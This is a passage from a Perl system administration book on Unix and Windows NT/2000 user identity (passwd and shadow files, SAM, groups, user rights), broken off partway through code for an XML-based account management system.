The final field in the classic password file format is the user shell field. This field usually contains one of a set of standard interactive programs (e.g., sh, csh, tcsh, ksh, zsh) but it can actually be set to the path of any executable program or script. From time to time, people have joked (half-seriously) about setting their shell to be the Perl interpreter. For at least one shell (zsh), people have actually contemplated embedding a Perl interpreter in the shell itself, but this has yet to happen. There is, however, some serious work that has been done to create a Perl shell (http://www.focusresearch.com/gregor/psh/ ) and to embed Perl into Emacs, an editor that could easily pass for an operating system (http://john-edwin-tobey.org/perlmacs/ ).

On occasion, you might have reason to list nonstandard interactive programs in this field. For instance, if you wanted to create a menu-driven account, you could place the menu program's name here. In these cases some care has to be taken to prevent someone using that account from reaching a real shell or they may wreak havoc. A common mistake made is including a mail program in the menu that allows the user to launch an editor or pager for mail composition and mail reading. Either the editor or pager could have a shell-escape function built in.

A list of standard, acceptable shells on a system is often kept in /etc/shells for the FTP daemon's benefit. Most FTP daemons will not allow a normal user to connect to a machine if their shell in /etc/passwd (or networked password file) is not one of a list kept in /etc/shells. Here's some Perl code to report accounts that do not have approved shells:

use User::pwent;

$shells = "/etc/shells";
open (SHELLS,$shells) or die "Unable to open $shells:$!\n";
while(<SHELLS>){
    chomp;
    $okshell{$_}++;
}
close(SHELLS);

while($pwent = getpwent(  )){
   warn $pwent->name." has a bad shell (".$pwent->shell.")!\n"
     unless (exists $okshell{$pwent->shell});
}
endpwent(  );

3.1.2. Extra Fields in BSD 4.4 passwd Files

At the BSD (Berkeley Software Distribution) 4.3 to 4.4 upgrade point, the BSD variants added two twists to the classic password file format: additional fields, and the introduction of a binary database format used to store account information.

BSD 4.4 systems add some fields to the password file in between the GID and GCOS fields. The first field they added was the class field. This allows a system administrator to partition the accounts on a system into separate classes (e.g., different login classes might be given different resource limits like CPU time restrictions). BSD variants also add change and expire fields to hold an indication of when a password must be changed and when the account will expire. We'll see fields like these when we get to the next Unix password file format as well.

When compiled under an operating system that supports these extra fields, Perl includes the contents of these fields in the return value of functions like getpwent( ). This is one good reason to use getpwent( ) in your programs instead of split( )ing the password file entries by hand.

3.1.3. Binary Database Format in BSD 4.4

The second twist added to the password mechanisms by BSD is their use of a database format, rather than plain text, for primary storage of password file information. BSD machines keep their password file information in DB format, a greatly updated version of the older (Unix database) DBM (Database Management) libraries. This change allows the system to do speedy lookups of password information.

The program pwd_mkdb takes the name of a password text file as its argument, creates and moves two database files into place, and then moves this text file into /etc/master.passwd. The two databases are used to provide a shadow password scheme, differing in their read permissions and encrypted password field contents. We'll talk more about this in the next section.

Perl has the ability to directly work with DB files (we'll work with this format later in Chapter 9, "Log Files"), but in general I would not recommend directly editing the databases while the system is in use. The issue here is one of locking: it's very important not to change a crucial database like your password file without making sure other programs are not similarly trying to write to it or read from it. Standard operating system programs like chpasswd handle this locking for you.[3] The sleight-of-hand approach we saw for quotas in Chapter 2, "Filesystems", which used the EDITOR variable, can be used with chpasswd as well.

[3]pwd_mkdb may or may not perform this locking for you (depending on the BSD flavor and version), however, so caveat implemptor.

3.1.4. Shadow Passwords

Earlier I emphasized the importance of protecting the contents of the GCOS field, since this information is publicly available through a number of different mechanisms. Another fairly public, yet rather sensitive piece of information is the list of encrypted passwords for all of the users on the system. Even though the password information is cryptologically hidden, having it exposed in a world-readable file still provides some measure of vulnerability. Parts of the password file need to be world-readable (e.g., the UID and login name mappings), but not all of it. There's no need to provide a list of encrypted passwords to users who may be tempted to run password-cracking programs.

One alterative is to banish the encrypted password string for each user to a special file that is only readable by root. This second file is known as a "shadow password" file, since it contains lines that shadow the entries in the real password file.

Here's how it all works: the original password file is left intact with one small change. The encrypted password field contains a special character or characters to indicate password shadowing is in effect. Placing an x in this field is common, though the insecure copy of the BSD database uses a *.

I've heard of some shadow password suites that insert a special, normal-looking string of characters in this field. If your password file goes awanderin', this provides a lovely time for the recipient who will attempt to crack a password file of random strings that bear no relation to the real passwords.

Most operating systems take advantage of this second shadow password file to store more information about the account. This additional information resembles the surplus fields we saw in the BSD files, storing account expiration data and information on password changing and aging.

In most cases Perl's normal password functions like getpwent( ) can handle shadow password files. As long as the C libraries shipped with the OS do the right thing, so will Perl. Here's what "do the right thing" means: when your Perl script is run with the appropriate privileges (as root), these routines will return the encrypted password. Under all other conditions that password will not be accessible to those routines.

Unfortunately, it is dicier if you want to retrieve the additional fields found in the shadow file. Perl may not return them for you. Eric Estabrooks has written a Passwd::Solaris module, but that only helps if you are running Solaris. If these fields are important to you, or you want to play it safe, the sad truth (in conflict with my recommendation to use getpwent( ) above) is that it is often simpler to open the shadow file by hand and parse it manually.

Previous | Home | Next
2.8. References for More Information | Book Index | 3.2. Windows NT/2000 User Identity
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Windows NT/2000 User Identity (Perl for System Administration)

 Perl for System AdministrationSearch this book

3.2. Windows NT/2000 User Identity

Now that we've explored the pieces of information that Unix systems cobble together to form a user's identity, let's take a look at the same topic for NT/2000 users. Much of this info is conceptually similar, so we'll dwell mostly on the differences between the two operating systems.

3.2.1. NT/2000 User Identity Storage and Access

NT/2000 stores the persistent identity information for a user in a database called the SAM (Security Accounts Manager), or directory, database. The SAM database is part of the NT/2000 registry living in %SYSTEMROOT%/system32/config. The files that make up the registry are all stored in a binary format, meaning normal Perl text manipulation idioms cannot be used to read or write changes to this database. It is theoretically possible to use Perl's binary data operators (i.e., pack( ) and unpack( )) with the SAM, providing you do so when NT/2000 is not running, but this way lies madness and misery.

Luckily, there are better ways to access and manipulate this information via Perl.

One approach is to call an external binary to interact with the OS for you. Every NT/2000 machine has a feature-bloated command called net that can add, delete, and view users. net is quirky and limited, and probably the method of last resort.

For example, here's the net command in action on a machine with two accounts:

C:\>net users

User accounts for \\HOTDIGGITYDOG
----------------------------------
Administrator            Guest
The command completed successfully.

It would be easy to parse the output of this program from Perl if we needed to. Besides net, there are other commercial packages that offer a command-line executable to perform similar tasks.

Another approach is to use the Perl module Win32::NetAdmin (bundled with the ActiveState Perl distribution) or one of the modules created to fill in the gaps in the functionality of Win32::NetAdmins. These modules include David Roth's Win32::AdminMisc (from http://www.roth.net), or Win32::UserAdmin (described in Ashley Meggitt and Timothy Ritchey's O'Reilly book, Windows NT User Administration, module found at ftp://ftp.oreilly.com/pub/examples/windows/winuser/ ).

I prefer Roth's Win32::AdminMisc for most user operations because it offers the largest grab-bag of system administration tools and Roth actively supports it in a number of online forums. Though the online documentation for this module is good, the best documentation for this module is the author's book, Win32 Perl Programming: The Standard Extensions (Macmillan Technical Publishing). It's a good book to have on hand in any case if you plan to write Win32-specific Perl programs.

Here's some example code that shows the users on the local machine and some details about them. It prints out lines that look similar to /etc/passwd under Unix:

use Win32::AdminMisc

# retrieve all of the local users
Win32::AdminMisc::GetUsers('','',\@users) or
   die "Unable to get users: $!\n";

# get their attributes and print them
foreach $user (@users){
  Win32::AdminMisc::UserGetMiscAttributes('',$user,\%attribs) or
    warn "Unable to get attrib: $!\n";
  print join(":",$user,
                 '*',
                 $attribs{USER_USER_ID},
                 $attribs{USER_PRIMARY_GROUP_ID},
                 '',
                 $attribs{USER_COMMENT},
                 $attribs{USER_FULL_NAME},
                 $attribs{USER_HOME_DIR_DRIVE}."\\".
                 $attribs{USER_HOME_DIR},
                 ''),"\n";
}

Finally, you can use the Win32::OLE module to access the Active Directory Service Interfaces (ADSI) functionality built in to Windows 2000 and installable on Windows NT 4.0. We'll go into this topic in great detail in Chapter 6, "Directory Services", so we won't look at an example here.

We'll see more Perl code to access and manipulate NT/2000 users later on, but for the time being let's return to our exploration of the differences between Unix and NT/2000 users.

3.2.2. NT/2000 User ID Numbers

User IDs in NT/2000 are not created by mortals, and they cannot be reused. Unlike Unix, where we simply picked a UID number out of the air, the OS uniquely generates the equivalent identifier in NT/2000 every time a user is created. A unique user identifier (which NT/2000 calls a Relative ID, or RID) is combined with machine and domain IDs to create a large ID number called a SID, or Security Identifier, which acts as a users UID. An example RID is 500, part of a longer SID which looks like this:

S-1-5-21-2046255566-1111630368-2110791508-500

The RID is a number we get back as part of the UserGetMiscAttributes( ) call we saw in our last code snippet. Here's the code necessary to print the RID for a particular user:

use Win32::AdminMisc;

Win32::AdminMisc::UserGetMiscAttributes('',$user,\%attribs);
print $attribs{USER_USER_ID},"\n";

You can't (by normal means) recreate a user after she/he/it is deleted. Even if you create a new user with the same name as the deleted user, the SID will not be the same. The new user will not have access to its predecessor's files and resources.

This is why some NT books recommend renaming accounts that are due to be inherited by another person. If a new employee is supposed to receive all of the files and privileges of a departing employee, they suggest renaming the existing account to preserve the SID rather than creating a new account, transferring files, and then deleting the old account. I personally find this method for account handoffs to be a little uncouth because it means the new employee will inherit all of the corrupted and useless registry settings of her or his predecessor. But it is the most expedient method, and sometimes that is important.

Part of this recommendation comes from the pain associated with transferring ownership of files. In Unix, a privileged user can say, "Change the ownership of all of these files so that they are now owned by the new user." In NT, however, there's no giving of ownership, only taking. Luckily there are two ways to get around this restriction and pretend we're using Unix's semantics. From Perl we can:

  • Call a separate binary, including:

    • The chown binaries from either the Microsoft NT Resource kit (commercial; we'll hear more about this product later in this chapter) or the Cygwin distribution found at http://www.cygnus.com (free).

    • The setowner binary, part of the NTSEC utilities sold by Pedestal Software at http://www.pedestalsoftware.com. I prefer this binary because it is the most flexible while still requiring the least amount of overhead.

  • The Win32::Perms module written by Dave Roth, located at http://www.roth.net/perl/perms. Here's some sample code that will change the owner of a directory and its contents including subdirectories:

use Win32::Perms;

$acl  = new Win32::Perms(  );
$acl->Owner($NewAccountName);
$result = $acl->SetRecurse($dir);
$acl->Close(  );

3.2.3. NT/2000 Passwords

The algorithms used to obscure the passwords that protect access to a user's identity in NT/2000 and Unix are cryptologically incompatible. Once encrypted, you cannot transfer the encrypted password information from one OS to the other and expect to use it for password changes or account creations. As a result, two separate sets of passwords have to be used and/or kept in sync. This difference is the bane of every system administrator who has to administer a mixed Unix-NT/2000 environment. Some administrators get around this by using custom authentication modules, commercial or otherwise.

As a Perl programmer, the only thing you can do if you are not using custom authentication mechanisms is to create a system whereby the user provides her or his password in plain text. This plain text password then gets used to perform two separate password-related operations (changes, etc.), one for each OS.

3.2.4. NT Groups

So far in our discussion of user identity for both operating systems, I've been able to gloss over any distinction between storage of a user's identity on a local machine and storage in some network service like NIS. For the information we've encountered, it hasn't really mattered if that information was used on a single system or all of the systems in a network or workgroup. In order to talk cogently about NT/2000 user groups and their intersection with Perl, we unfortunately have to break from this convention. We'll concentrate primarily on Windows NT 4.0 groups. For Windows 2000, another layer of complication was added, so information about Windows 2000 groups has been banished to the sidebar "Windows 2000 Group Changes" later in this chapter.

On NT systems, a user's identity can be stored in one of two places: the SAM of a specific machine or the SAM of a domain controller. This is the distinction between a local user, who can only log into a single machine, and a domain user, who can log into any of the permitted machines that participate in that domain.

NT groups also come in two flavors, global and local. The difference between these two is not precisely what the name would lead you to expect. One is not just composed of domain users while the other of local users. Nor, as people with Unix backgrounds might expect, is one type effective on only one machine while the other is in effect globally on a network. Both of these descriptions are partially correct, but let's look at the full story.

If we start with the goals behind this mechanism's naming scheme and implementation it may make a little more sense. Here's what we're trying to accomplish:

  • User accounts for an entire domain should be centrally managed. Administrators should be able to define arbitrary subsets of these user permissions and privileges can be assigned to whole groups at a time for administrative ease.

  • All of the machines in a domain should be able to take advantage of this centralized management if they so choose. The administrator of an individual machine should also be able to create users that live only on that machine.

  • The administrator of an individual machine should be able to decide which users are granted access to that machine. The administrator should be able to do this using the domain-wide user groups rather than having to specify each user by name.

  • The members of these groups and certain local users should be able to be treated exactly the same from an administrative perspective (permissions, etc.).

Global and local groups allow us to do all of the above. The two sentence explanation is: global groups hold domain users only. Local groups hold local users and hold/import (the users of ) global groups.

We'll use a simple example to help show how this works. Say you have an NT domain for a university department that already has domain users created for all of the students, faculty, and staff. When a new research project called Omphaloskepsis is started up, the central system administration staff creates a new global group called Global-Omph People. This global group contains all of the domain users working on this project. As staff members and students join and leave the project, they are added or removed from the group.

A computer lab is set aside for the exclusive use of this research project. Local guest accounts are created on the machines in this lab for a couple of faculty members who are not part of the department (and hence not domain users). The system administrator for this lab does the following (via Perl, of course) to prevent all but project members from using these machines:

  1. Creates a local group on each machine called Local-Authorized Omphies.

  2. Adds the local guest accounts to this local group.

  3. Adds the global group Global-Omph People to this local group.

  4. Adds the user right (we'll discuss user rights in the next section) Log on Locally to the local group Local-Authorized Omphies.

  5. Removes the user right Log on Locally from all other unauthorized groups.

The result is that only the authorized local users and the users in the authorized global group can log on to the machines in this exclusive computer lab. A new user placed in the Global-Omph People group will instantly be granted permission to log on to these machines and nothing has to be changed on any of the machines themselves. Once you get a handle on the local/global group concepts, it's a pretty handy scheme.[4]

[4]For any Unix folks still reading along, a similar scheme can be set up by using NIS netgroups and special /etc/passwd entries on each machine in an NIS domain. See your machine's netgroup manual page for more details.

Windows 2000 Group Changes

Almost everything we've described about NT global and local groups is still true in Windows 2000, but there are few new twists that need to be mentioned:

  1. Windows 2000 uses Active Directory (more details of which can be found in Chapter 6, "Directory Services") to store its user data. This means that global group information is now stored in an Active Directory store on a domain controller, not in its SAM.

  2. Local groups are now called domain local groups.

  3. A third group, scope (as the distinction is now called), has been added. In addition to global and domain local groups, Windows 2000 adds universal groups. Universal groups essentially cut across domain boundaries. They can hold accounts, global groups, and universal groups from anywhere in the directory. Just as domain local groups can contain global groups, now they hold universal groups as well.

As of this writing, the standard Perl user administration modules haven't caught up with these changes. The modules can still be used because the NT4 SAM interfaces are still operational, but they won't be able to access any of the new functionality. Because of this lag, this sidebar is the only mention we'll make of these Windows 2000 changes. For further access and information, you will need to turn to the Active Directory Service Interfaces (ADSI) framework we discuss in Chapter 6, "Directory Services".

This scheme would be even handier if it didn't complicate our Perl programming. All the Perl modules we mentioned before follow the Win32 API lead by providing completely separate functions for local and global groups. For instance, with Win32::NetAdmin, we have:

GroupCreate( )

LocalGroupCreate(  )

GroupDelete( )

LocalGroupDelete(  )

GroupGetAttributes( )

LocalGroupGetAttributes(  )

GroupSetAttributes( )

LocalGroupSetAttributes(  )

GroupAddUsers( )

LocalGroupAddUsers(  )

GroupDeleteUsers( )

LocalGroupDeleteUsers(  )

GroupIsMember( )

LocalGroupIsMember(  )

GroupGetMembers( )

LocalGroupGetMembers(  )

This duality means your code may have to call two functions for the same operation. For example, if you need to obtain all of the groups a user may be in, you may have to call two functions, one for local groups and the other for global groups. The group functions above are pretty self-explanatory. See the online documentation and Roth's book for more details.

TIP

A quick tip found in Roth's book: your program must run with administrative privileges to access the list of local groups, but global group names are available to all users.

3.2.5. NT/2000 User Rights

The last different between Unix and NT/2000 user identity that we're going to address is the concept of a "user right." In Unix, the actions a user can take are either constrained by file permissions or by the superuser/non-superuser distinction. Under NT/2000, the permission scheme is more like superheroes. Users (and groups) can be imbued with special powers that become part of their identity. For instance, one can attach the user right Change the System Time to an ordinary user and that user will be able to effect the setting of the system clock on that machine.

Some people find the user rights concept confusing because they have attempted to use NT 4.0's heinous User Rights dialog in the User Manager or User Manager for Domains application. This dialog presents the information in exactly the opposite manner most people expect to see it. It shows a list of the possible user rights and expects you to add groups or users to a list of entities that already have this right. Figure 3-1 shows a screenshot of this UI example in action.

Figure 3.1. The User Rights Policy dialog box from the NT4 User Manager

A more user-centric UI would offer a way to add or remove user rights to and from users, instead of the other way around. This is in fact how we will operate on rights using Perl.

One approach is to call the program ntrights.exe from the Microsoft NT Resource Kit. If you haven't heard of the resource kit, be sure to read the upcoming sidebar about it.

The Microsoft Windows NT/ Windows 2000 Resource Kits

"You must have the NT 4.0 Server and/or Workstation Resource Kit " is the general consensus among serious NT administrators and the media that covers this field. Microsoft Press publishes two large tomes, one for each of the NT/2000 OS versions, full of nitty-gritty operational information. It is not this information that makes these books so desirable; rather, it is the CD-ROMs included with the books that makes them worth their weight in zlotniks. The CD-ROMs contain a grab bag of crucial utilities for NT/2000 administration. The utilities shipped with the NT/2000 Server editions are a superset of those shipped with the NT Workstation/Windows 2000 Professional version, so if you have to choose one of the two to buy, you may wish to get the Server edition.

Many of the utilities were contributed by the NT/2000 development group who wrote their own code because they couldn't find the tools they needed anywhere else. For example, there are utilities which add users, change filesystem security information, show installed printer drivers, work with roaming profiles, help with debugging domain and network browser services, and so on.

The tools in the Resource Kit are provided "as is," meaning there is virtually no support available for them. This no-support policy may sound harsh, but it serves the important purpose of allowing Microsoft to put a variety of useful code in the hands of administrators without having to pay prohibitive support costs. The utilities in the Resource Kits have a few small bugs, but on the whole they work great. Updates that fix bugs in some of these utilities have been posted to Microsoft's web site.

Using ntrights.exe is straightforward; we call the program from Perl like any other (i.e., using backticks or the system( ) function). In this case, we call ntrights.exe with a command line of the form:

C:\>ntrights.exe +r <right name> +u <user or group name> [-m \\machinename]

to give a right to a user or group (on an optional machine named machinename). To take that right away:

C:\>ntrights.exe -r <right name> +u <user or group name> [-m \\machinename]

Unix users will be familiar with the use of the + and - characters (as in chmod ), in this case used with the -r switch, to give and take away privileges. The list of right names like SetSystemtimePrivilege (can set the system time) can be found in the Microsoft NT Resource Kit documentation for the ntrights command.

A second, pure-Perl approach entails using the Win32::Lanman module by Jens Helberg, found at either ftp://ftp.roth.net/pub/ntperl/Others/Lanman/ or at http://jenda.krynicky.cz. Let's start off by looking at the process of retrieving an account's user rights. This is a multiple-step process; let's go over it step by step.

First, we need to load the module:

use Win32::Lanman;

Then, we need to retrieve the actual SID for the account we wish to query or modify. In the following sample, we'll get the Guest account's SID:

unless(Win32::Lanman::LsaLookupNames($server, ['Guest'], \@info)
   die "Unable to lookup SID: ".Win32::Lanman::GetLastError(  )."\n";

@info now contains an array of references to anonymous hashes, one element for each account we query (in this case, it is just a single element for Guest). Each hash contains the following keys: domain, domainsid, relativeid, sid, and use. We only care about sid for our next step. Now we can query the rights:

unless (Win32::Lanman::LsaEnumerateAccountRights($server, ${$info[0]}{sid},
                                                 \@rights);
   die "Unable to query rights: ".Win32::Lanman::GetLastError(  )."\n";

@rights now contains a set of names describing the rights apportioned to Guest.

Knowing the API (Application Program Interface) name of a user right and what it represents is tricky. The easiest way to learn which names correspond to which rights and what each right offers is to look at the SDK (Software Developement Kit) documentation found on http://msdn.microsoft.com. This documentation is easy to find because Helberg has kept the standard SDK function names for his Perl function names. To find the names of the available rights, we search the MSDN (Microsoft's Developer News) site for "LsaEnumerateAccountRights" and we'll find pointers to them quickly.

This information also comes in handy for the modification of user rights. For instance, if we want to add a user right to allow our Guest account to shut down the system, we could use:

use Win32::Lanman;

unless (Win32::Lanman::LsaLookupNames($server, ['Guest'], \@info))
  die "Unable to lookup SID: ".Win32::Lanman::GetLastError(  )."\n";

unless (Win32::Lanman::LsaAddAccountRights($server, ${$info[0]}{sid},
                                [&SE_SHUTDOWN_NAME]))
    die "Unable to change rights: ".Win32::Lanman::GetLastError(  )."\n"

In this case we found the SE_SHUTDOWN_NAME right in the SDK doc and used &SE_SHUTDOWN_NAME (a subroutine defined by Win32::Lanman), which returns the value for this SDK constant.

Win32::Lanman::LsaRemoveAccountRights( ), a function that takes similar arguments to those we used to add rights, is used to remove user rights.

Before we move on to other topics, it is worth mentioning that Win32::Lanman also provides a function that works just like User Manager 's broken interface described earlier. Instead of matching users to rights, we can match rights to users. If we use Win32::Lanman::LsaEnumerateAccountsWithUserRight( ) we can retrieve a list of SIDs that has a specific user right. This could be useful in certain select situations.

Previous | Home | Next
3.1. Unix User Identity | Book Index | 3.3. Building an Account System to Manage Users
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Building an Account System to Manage Users (Perl for System Administration)

 Perl for System AdministrationSearch this book

3.3. Building an Account System to Manage Users

Now that we've had a good look at user identity, we can begin to address the administration aspect of user accounts. Rather than just show you the select Perl subroutines or function calls you need for user addition and deletion, we're going to take this topic to the next level by showing these operations in a larger context. In the remainder of this chapter, we're going to work towards writing a bare-bones account system that starts to really manage both NT and Unix users.

Our account system will be constructed in four parts: user interface, data storage, process scripts (Microsoft would call them the "business logic"), and low-level library routines. From a process perspective they work together (see Figure 3-2).

Figure 3.2. The structure of a basic account system

Requests come into the system through a user interface and get placed into an "add account queue" file for processing. We'll just call this an "add queue" from here on in. A process script reads this queue, performs the required account creations, and stores information about the created accounts in a separate database. That takes care of adding the users to our system.

For removing a user, the process is similar. A user interface is used to create a "remove queue." A second process script reads this queue and deletes the users from our system and updates the central database.

We isolate these operations into separate conceptual parts because it gives us the maximum possible flexibility should we decide to change things later. For instance, if some day we decide to change our database backend, we only need to modify the low-level library routines. Similarly, if we want our user addition process to include additional steps (perhaps cross-checking against another database in Human Resources), we will only need to change the process script in question.Let's start by looking at the first component: the user interface used to create the initial account queue. For the bare-bones purposes of this book, we'll use a simple text-based user interface to query for account parameters:

sub CollectInformation{
    # list of fields init'd here for demo purposes, this should
    # really be kept in a central configuration file
    my @fields = qw{login fullname id type password};
    my %record;

    foreach my $field (@fields){
        print "Please enter $field: ";
        chomp($record{$field} = <STDIN>);
    }
    $record{status}="to_be_created";
    return \%record;
}

This routine creates a list and populates it with the different fields of an account record. As the comment mentions, this list is in-lined in the code here only for brevity's sake. Good software design suggests the field name list really should be read from an additional configuration file.

Once the list has been created, the routine iterates through it and requests the value for each field. Each value is then stored back into the record hash. At the end of the question and answer session, a reference to this hash is returned for further processing. Our next step will be to write the information to the add queue. Before we see this code, we should talk about data storage and data formats for our account system.

3.3.1. The Backend Database

The center of any account system is a database. Some administrators use their /etc/passwd file or SAM database as the only record of the users on their system, but this practice is often shortsighted. In addition to the pieces of user identity we've discussed, a separate database can be used to store metadata about each account, like its creation and expiration date, account sponsor (if it is a guest account), user's phone numbers, etc. Once a database is in place, it can be used for more than just basic account management. It can be useful for all sorts of niceties, such as automatic mailing list creation, LDAP services, and personal web page indexes.

Why the Really Good System Administrators Create Account Systems

System administrators fall into roughly two categories: mechanics and architects. Mechanics spend most of their time in the trenches dealing with details. They know amazing amounts of arcania about the hardware and software they administer. If something breaks, they know just the command, file, or spanner wrench to wield. Talented mechanics can scare you with their ability to diagnose and fix problems even while standing clear across the room from the problem machine.

Architects spend their time surveying the computing landscape from above. They think more abstractly about how individual pieces can be put together to form larger and more complex systems. Architects are concerned about issues of scalability, extensibility, and reusability.

Both types bring important skills to the system administration field. The system administrators I respect the most are those who can function as a mechanic but whose preferred mindset is closely aligned to that of an architect. They fix a problem and then spend time after the repair determining which systemic changes can be made to prevent it from occurring again. They think about how even small efforts on their part can be leveraged for future benefit.

Well-run computing environments require both architects and mechanics working in a symbiotic relationship. A mechanic is most useful while working in a solid framework constructed by an architect. In the automobile world we need mechanics to fix cars. But mechanics rely on the car designers to engineer slow-to-break, easy-to-repair vehicles. They need infrastructure like assembly lines, service manuals, and spare-part channels to do their job well. If an architect performs her or his job well, the mechanic's job is made easier.

How do these roles play out in the context of our discussion? Well, a mechanic will probably use the built-in OS tools for user management. She or he might even go so far as to write small scripts to help make individual management tasks like adding users easier. An architect looking at the same tasks will immediately start to construct an account system. An architect will think about issues like:

  • The repetitive nature of user management and how to automate as much of the process as possible.

  • The sorts of information an account system collects, and how a properly built account system can be leveraged as a foundation for other functionality. For instance, Lightweight Directory Access Protocol (LDAP) directory services and automatic web site generation tools could be built on top of an account system.

  • Protecting the data in an account system (i.e., security).

  • Creating a system that will scale if the number of users increases.

  • Creating a system that other sites might be able to use.

  • How other system administration architects have dealt with the problems.

Mentioning the creation of a separate database makes some people nervous. They think "Now I have to buy a really expensive commercial database, another machine for it to run on, and hire a database administrator." If you have thousands or tens of thousands of user accounts to manage, yes, you do need all of those things (though you may be able to get by with some of the noncommercial SQL databases like Postgres and MySQL). If this is the case for you, you may want to turn to Chapter 7, "SQL Database Administration", for more information on dealing with databases like this in Perl.

But in this chapter when I say database, I'm using the term in the broadest sense. A flat-file, plain text database will work fine for smaller installations. Win32 users could even use an access database file (e.g., database.mdb). For portability, we'll use plain text databases in this section for the different components we're going to build. To make things more interesting, our databases will be in XML format. If you have never encountered XML before, please take a moment to read Appendix C, "The Eight-Minute XML Tutorial".

Why XML? XML has a few properties that make it a good choice for files like this and other system administration configuration files:

  • XML is a plain text format, which means we can use our usual Perl bag o' tricks to deal with it easily.

  • XML is self-describing and practically self-documenting. With a character-delimited file like /etc/passwd, it is not always easy to determine which part of a line represents which field. With XML, this is never a problem because an obvious tag can surround each field.

  • With the right parser, XML can also be self-validating. If you use a validating parser, mistakes in an entry's format will be caught right away, since the file will not parse correctly according to its document type definition or schema. The Perl modules we'll be using in this chapter are based on a nonvalidating parser, but there is considerable work afoot (both within this framework and in other modules) to provide XML validation functionality. One step in this direction is XML::Checker, part of Enno Derksen's libxml-enno. Even without a validating parser, any XML parser that checks for well-formedness will catch many errors.

  • XML is flexible enough to describe virtually any set of text information you would ever desire to keep. This flexibility means you could use one parser library to get at all of your data, rather than having to write a new parser for each different format.

We'll use XML-formatted plain text files for the main user account storage file and the add/delete queues.

As we actually implement the XML portions of our account system, you'll find that the TMTOWTDI police are out in force. For each XML operation we require, we'll explore or at least mention several ways to perform it. Ordinarily when putting together a system like this, it would be better to limit our implementation options, but this way you will get a sense of the programming palette available when doing XML work in Perl.

3.3.1.1. Writing XML from Perl

Let's start by returning to the cliffhanger we left off with earlier in "NT 2000 User Rights." It mentioned we needed to write the account information we collected with CollectInformation( ) to our add queue file, but we didn't actually see code to perform this task. Let's look at how that XML-formatted file is written.

Using ordinary print statements to write an XML-compliant text would be the simplest method, but we can do better. Perl modules like XML::Generator by Benjamin Holzman and XML::Writer by David Megginson can make the process easier and less error-prone. They can handle details like start/end tag matching and escaping special characters (<, >, &, etc.) for us. Here's the XML writing code from our account system which makes use of XML::Writer:

sub AppendAccountXML {
    # receive the full path to the file
    my $filename = shift;
    # receive a reference to an anonymous record hash
    my $record = shift;

    # XML::Writer uses IO::File objects for output control
    use IO::File;

    # append to that file
    $fh = new IO::File(">>$filename") or
       die "Unable to append to file:$!\n";

    # initialize the XML::Writer module and tell it to write to
    # filehandle $fh
    use XML::Writer;
    my $w = new XML::Writer(OUTPUT => $fh);

    # write the opening tag for each <account> record
    $w->startTag("account");

    # write all of the <account> data start/end sub-tags & contents
    foreach my $field (keys %{$record}){
       print $fh "\n\t";
       $w->startTag($field);
       $w->characters($$record{$field});
       $w->endTag;
    }
    print $fh "\n";

    # write the closing tag for each <account> record
    $w->endTag;
    $w->end;
    $fh->close(  );
}

Now we can use just one line to collect data and write it to our add queue file:

&AppendAccountXML($addqueue,&CollectInformation);

Here's some sample output from this routine:[5]

[5]As a quick side note: the XML specification recommends that every XML file begin with a declaration (e.g., <?xml version="1.0"?>). It is not mandatory, but if we want to comply, XML::Writer offers the xmlDecl( )method to create one for us.

<account>
    <login>bobf</login>
    <fullname>Bob Fate</fullname>
    <id>24-9057</id>
    <type>staff</type>
    <password>password</password>
    <status>to_be_created</status>
</account>

Yes, we are storing passwords in clear text. This is an exceptionally bad idea for anything but a demonstration system and even then you should think twice. A real account system would probably pre-encrypt the password before adding it to the add queue or not keep this info in a queue at all.

AppendAccountXML( ) will make another appearance later when we want to write data to the end of our delete queue and our main account database.

The use of XML::Writer in our AppendAccountXML( ) subroutine gives us a few perks:

  • The code is quite legible; anyone with a little bit of markup language experience will instantly understand the names startTag( ), characters( ), and endTag( ).

  • Though our data didn't need this, characters( ) is silently performing a bit of protective magic for us by properly escaping reserved entities like the greater-than symbol (>).

  • Our code doesn't have to remember the last start tag we opened for later closing. XML::Writer handles this matching for us, allowing us to call endTag( ) without specifying which end tag we need. Keeping track of tag pairs is less of an issue with our account system because our data uses shallowly nesting tags, but this functionality becomes more important in other situations where our elements are more complex.

3.3.1.2. Reading XML using XML::Parser

We'll see one more way of writing XML from Perl in a moment, but before we do, let's turn our attention to the process of reading all of the great XML we've just learned how to write. We need code that will parse the account addition and deletion queues and the main database.

It would be possible to cobble together an XML parser in Perl for our limited data set out of regular expressions, but that gets trickier as the XML data gets more complicated.[6] For general parsing, it is easier to use the XML::Parser module initially written by Larry Wall and now significantly enhanced and maintained by Clark Cooper.

[6]But it is doable; for instance, see Eric Prud'hommeaux's module at http://www.w3.org/1999/02/26-modules/W3C-SAX-XmlParser-*.

XML::Parser is an event-based module. Event-based modules work like stock market brokers. Before trading begins, you leave a set of instructions with them for actions they should take should certain triggers occur (e.g., sell a thousand shares should the price drop below 31⁄4, buy this stock at the beginning of the trading day, and so on). With event-based programs, the triggers are called events and the instruction lists for what to do when an event happens are called event handlers. Handlers are usually just special subroutines designed to deal with a particular event. Some people call them callback routines, since they are run when the main program "calls us back" after a certain condition is established. With the XML::Parser module, our events will be things like "started parsing the data stream," "found a start tag," and "found an XML comment," and our handlers will do things like "print the contents of the element you just found."[7]

[7]Though we don't use it here, Chang Liu's XML::Node module allows the programmer to easily request callbacks for only certain elements, further simplifying the process we're about to discuss.

Before we begin to parse our data, we need to create an XML::Parser object. When we create this object, we'll specify which parsing mode, or style, to use. XML::Parser provides several styles, each of which behaves a little different during the parsing of data. The style of a parse will determine which event handlers are called by default and the way data returned by the parser (if any) is structured.

Certain styles require that we specify an association between each event we wish to manually process and its handler. No special actions are taken for events we haven't chosen to explicitly handle. This association is stored in a simple hash table with keys that are the names of the events we want to handle, and values that are references to our handler subroutines. For the styles that require this association, we pass the hash in using a named parameter called Handlers (e.g., Handlers=>{Start=>\&start_handler}) when we create a parser object.

We'll be using the stream style that does not require this initialization step. It simply calls a set of predefined event handlers if certain subroutines are found in the program's namespace. The stream event handlers we'll be using are simple: StartTag, EndTag, and Text. All but Text should be self-explanatory. Text, according to the XML::Parser documentation, is "called just before start or end tags with accumulated non-markup text in the $_ variable." We'll use it when we need to know the contents of a particular element.

Here's the initialization code we're going to use for our application:

use XML::Parser;
use Data::Dumper; # used for debugging output, not needed for XML parse
$p = new XML::Parser(ErrorContext => 3,
                      Style          => 'Stream',
